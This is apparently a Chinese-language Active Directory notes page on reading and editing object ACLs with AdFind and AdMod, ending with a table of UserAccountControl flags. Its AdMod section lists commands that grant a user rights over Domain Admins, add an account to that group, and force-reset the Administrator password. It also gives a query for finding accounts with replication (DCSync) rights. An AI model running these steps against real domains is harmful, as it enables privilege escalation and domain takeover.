#ACL 编辑
#文件与目录
|
|
#注册表
|
|
#域内 ACL 编辑
域内每个对象的nTSecurityDescriptor
属性存储该对象的ACL信息,存储格式是SDDL(Security Descriptor Definition Language))。如果在创建对象的时候没指定ACL,就用此对象类的defaultSecurityDescriptor
属性值作为该对象的ACL。
-
查看域内对象的ACL(普通域用户用AdFind.exe查询
nTSecurityDescriptor
结果为空,但LDAP 是能查到的)AdFind Usage1 2 3 4 5 6 7 8 9 10 11 12 13 14
#查看原始SDDL格式 AdFind.exe -b "CN=Administrator,CN=Users,DC=rootkit,DC=org" NTSecurityDescriptor -rawsddl #SDDL格式不方便查看,-sddl+++ 最高三个+ AdFind.exe -b "CN=Administrator,CN=Users,DC=rootkit,DC=org" NTSecurityDescriptor -sddl+++ #查看指定用户对该对象的权限 AdFind.exe -b "CN=Administrator,CN=Users,DC=rootkit,DC=org" NTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;Administrator -recmute #查找指定用户在域内的所有ACL权限 AdFind.exe -b "DC=rootkit,DC=org" NTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;jerry -recmute #查看域内对象的扩展权限 #根据GUID查扩展权限 adfind -b "CN=Extended-Rights,CN=Configuration,DC=rootkit,DC=org" -f "rightsGuid=00299570-246d-11d0-a768-00aa006e0529" name #查找有dcync权限的用户 AdFind.exe -b "DC=rootkit,DC=org" NTSecurityDescriptor -sddl+++ -sddlfilter ;;;Replicating Directory Changes;; -recmute
-
修改域内对象的ACL AdMod Usage
1 2 3 4 5 6 7 8 9 10
#添加jerry对Domain Admins组的member属性有读写权限 admod -b "CN=Domain Admins,CN=Users,DC=rootkit,DC=org" SD##ntsecuritydescriptor::{GETSD}{+D=(OA;;RPWP;member;;jerry)} #使用jerry用户添加test用户到Domain Admins组 adfind -users -rb CN=test -dsq|admod -users -rb CN="Domain Admins" -stdinadd member #添加jerry对administrator用户有User-Force-Change-Password扩展权限 #使用-sd 替代SD##ntsecuritydescriptor::{GETSD} admod -b "CN=Administrator,CN=Users,DC=rootkit,DC=org" -sd {+D=(OA;;CR;00299570-246d-11d0-a768-00aa006e0529;;jerry)} #使用jerry用户修改Administrator 密码 admod -b CN=Administrator,CN=Users,DC=rootkit,DC=org unicodepwd::qweasd.123 -optenc
#UserAccountControl 属性
UserAccountControl 属性是 Active Directory 中用户
和计算机帐户
的最重要属性之一。该属性决定了帐户在 AD 域中的状态:帐户是活动的还是被锁定的、是否启用下次登录时更改密码的选项、用户是否可以更改自己的密码、禁止被委派、不需要 Kerberos 预身份验证等等。
Converting AD UserAccountControl Attribute Values
例如设置常规帐户的密码不过期。userAccountControl 值计算方法:
NORMAL_ACCOUNT (512) + DONT_EXPIRE_PASSWORD (65536) = 66048
UserAccountControl 标志 | 十六进制值 | 十进制值 |
---|---|---|
SCRIPT(运行登录脚本) | 0x0001 | 1 |
ACCOUNTDISABLE(账户被禁用) | 0x0002 | 2 |
HOMEDIR_REQUIRED(主文件夹是必需的) | 0x0008 | 8 |
LOCKOUT(账户被锁定) | 0x0010 | 16 |
PASSWD_NOTREQD(不需要密码) | 0x0020 | 32 |
PASSWD_CANT_CHANGE(防止用户更改密码) | 0x0040 | 64 |
ENCRYPTED_TEXT_PWD_ALLOWED(使用可逆加密存储密码) | 0x0080 | 128 |
TEMP_DUPLICATE_ACCOUNT(用户的帐户,其主帐户在另一个域中) | 0x0100 | 256 |
NORMAL_ACCOUNT(默认账户,典型的活跃账户) | 0x0200 | 512 |
INTERDOMAIN_TRUST_ACCOUNT | 0x0800 | 2048 |
WORKSTATION_TRUST_ACCOUNT | 0x1000 | 4096 |
SERVER_TRUST_ACCOUNT | 0x2000 | 8192 |
DONT_EXPIRE_PASSWORD(密码不会过期的用户帐户) | 0x10000 | 65536 |
MNS_LOGON_ACCOUNT | 0x20000 | 131072 |
SMARTCARD_REQUIRED(要登录网络,用户需要智能卡) | 0x40000 | 262144 |
TRUSTED_FOR_DELEGATION | 0x80000 | 524288 |
NOT_DELEGATED | 0x100000 | 1048576 |
USE_DES_KEY_ONLY | 0x200000 | 2097152 |
DONT_REQ_PREAUTH(不需要 Kerberos 预身份验证) | 0x400000 | 4194304 |
PASSWORD_EXPIRED(用户密码已过期) | 0x800000 | 8388608 |
TRUSTED_TO_AUTH_FOR_DELEGATION | 0x1000000 | 16777216 |
PARTIAL_SECRETS_ACCOUNT | 0x04000000 | 67108864 |